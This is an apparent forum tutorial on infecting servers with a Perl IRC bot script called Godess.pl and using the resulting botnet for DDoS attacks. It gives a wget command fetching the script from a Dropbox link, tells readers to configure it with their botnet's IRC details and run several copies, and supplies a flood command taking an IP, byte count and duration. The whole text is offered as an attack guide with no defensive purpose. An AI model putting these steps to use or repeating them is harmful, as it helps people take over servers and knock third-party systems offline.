-IRC Perl Bots Tutorial Step By Step-

(Steps To Infect Server For DDOSING ON IRC)

1 . Download The Perl Script File .

You can download it on your server by doing the following .

wget https[:]//www[.]dropbox[.]com/s/guetqj4n1cznvsc/Godess[.]pl

Or Download it from the link and transfer the Godess.pl into your server .

2. Now you want to edit the Godess.pl With the information of your IRC Botnet , I listed it to where you need to put it EX: PUT YOUR IRC IP/HOST HERE . All That is listed as what you need to put it :) .[/u][[/align][[/b]

3 . Now once you edited the Godess[.]pl as your IRC Information you would run this script perl Godess[.]pl then you can do that atleast 5 times and 5 bots will come on your server :)

SCRIPT FOR DDOS : Uzxy +Uzxyflood IP BYTES TIME

And thats how you infect servers and ddos with them on your IRC Botnet.

Any problems ? Contact me on Skype : God3ss
